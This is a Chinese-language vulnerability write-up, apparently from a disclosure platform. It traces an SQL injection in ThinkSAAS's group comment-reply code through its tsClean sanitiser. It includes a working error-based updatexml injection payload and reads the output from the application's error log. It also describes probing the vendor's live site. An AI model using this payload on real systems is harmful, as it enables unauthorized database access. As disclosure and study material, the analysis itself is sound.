### 简要描述:
这几天一直在审计thinksaas,几个版本都看过,有个地方感觉有注入一直搞不定。
在此感谢 @狗狗侠 @牛肉包子 两位大牛的指点
### 详细说明:
看最新版的,16天前更新的。
app/group/action/do.php
看下回复评论出的代码
```
case "recomment":
if($_POST['token'] != $_SESSION['token']) {
echo 1;exit;
}
$referid = intval($_POST['referid']);
$topicid = intval($_POST['topicid']);
$content = tsClean($_POST['content']);
$addtime = time();
// var_dump($content);
$db->query("insert into ".dbprefix."group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('$referid','$topicid','$userid','$content','$addtime')");
```
Content post获取,然后通过tsclean函数过滤,然后直接带入sql语句,跟踪下函数tsclean
/thinksaas/thinksaas/tsFuction.php
function tsClean($text) {
//var_dump($text);
$text = stripslashes(trim($text));
//去除前后空格,并去除反斜杠
//$text = br2nl($text); //将br转换成/n
///////XSS start
require_once 'thinksaas/xsshtml.class.php';
$xss = new XssHtml($text);
$text = $xss -> getHtml();
//var_dump($text);
//$text = substr ($text, 4);//去除左边<p>标签
//$text = substr ($text, 0,-5);//去除右边</p>标签
///////XSS end
//$text = html_entity_decode($text,ENT_NOQUOTES,"utf-8");//把 HTML 实体转换为字符
//$text = strip_tags($text); //去掉HTML及PHP标记
//$text = cleanJs ( $text );
$text = htmlentities($text, ENT_NOQUOTES, "utf-8");
//把字符转换为 HTML 实体
return $text;
}
Stripslashes 反斜线将被去除,
本地测试 了下输出,
[<img src="https://images.seebug.org/upload/201503/162210466b210771e6bc6a80e7d26af2a00cdc67.png" alt="测试1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162210466b210771e6bc6a80e7d26af2a00cdc67.png)
Content内容换行了,虽然单引号没有转义,但是很麻烦。蛋疼
看下为啥换行了
/thinksaas/thinksaas/xsshtml.class.php
```
/**
* 获得过滤后的内容
*/
public function getHtml()
{
if (!$this->m_ok) {
return '';
}
$nodeList = $this->m_dom->getElementsByTagName('*');
for ($i = 0; $i < $nodeList->length; $i++){
$node = $nodeList->item($i);
//var_dump($this);
if (in_array($node->nodeName, $this->m_AllowTag)) {
if (method_exists($this, "__node_{$node->nodeName}")) {
call_user_func(array($this, "__node_{$node->nodeName}"), $node);
}else{
call_user_func(array($this, '__node_default'), $node);
}
}
}
//var_dump($this->m_xss);
//var_dump($this->m_dom->saveHTML());
return strip_tags($this->m_dom->saveHTML(), '<' . implode('><', $this->m_AllowTag) . '>');
}
```
自己调试了 下过滤流程,引入了换行
[<img src="https://images.seebug.org/upload/201503/16221314299ad24570da5861b5c8112ab52565f4.png" alt="测试2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16221314299ad24570da5861b5c8112ab52565f4.png)
下面请看大牛给出的语句。
insert into ts_group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('33','5','2','
<p>123'or updatexml(1,concat(0x7e,(user())),0) or ' --</p>
','1426494649')
再科普一下
http://drops.wooyun.org/tips/2078
这个地方讲的很详细
### 漏洞证明:
执行下sql试试
[<img src="https://images.seebug.org/upload/201503/16221457d3dee0c25b11412a96ca664de9d2eb29.png" alt="测试3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16221457d3dee0c25b11412a96ca664de9d2eb29.png)
虽然执行成功了,但是没回显啊。 有个好东西,错误日志,嘿嘿。
错误日志的格式是 年月日-mysql-error.txt
thinksaas\tslogs\20150316-mysql-error.txt
[<img src="https://images.seebug.org/upload/201503/162216235890cf45e01be6fb98d854a05ae6dc1c.png" alt="测试4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162216235890cf45e01be6fb98d854a05ae6dc1c.png)
看下其他的版本,官网的
ThinkSAAS 2.3 2014-12-22 11:33:58 更新的
好像也有这个问题啊
[<img src="https://images.seebug.org/upload/201503/162217374d1165d439c17065428e8c95db40f136.png" alt="测试5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162217374d1165d439c17065428e8c95db40f136.png)
再测试下官网吧。
官网用的是mysqli连接方式那..
http://www.thinksaas.cn/tslogs/20150316-mysqli-error.txt
好吧,本地也搭建一个mysqli方式的
[<img src="https://images.seebug.org/upload/201503/162218571f9f2e5f4daa5c1e686acde96754ae61.png" alt="测试6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162218571f9f2e5f4daa5c1e686acde96754ae61.png)
本地测试也是成功的。。看下官网。单引号报错了。
[<img src="https://images.seebug.org/upload/201503/162219412c122d640c45c5de5043bbbdcd6080a1.png" alt="测试7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162219412c122d640c45c5de5043bbbdcd6080a1.png)
但是爆数据的时候,卡主了,我擦,
[<img src="https://images.seebug.org/upload/201503/162220238cc8dc93fd211319af591b87f7e7bda1.png" alt="测试8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162220238cc8dc93fd211319af591b87f7e7bda1.png)
官网提交回复直接卡主了,一直转圈圈。官网装waf之类设备了?还是代码不一样啊,我去。。。
好吧,我承认我是 彩笔
暂无评论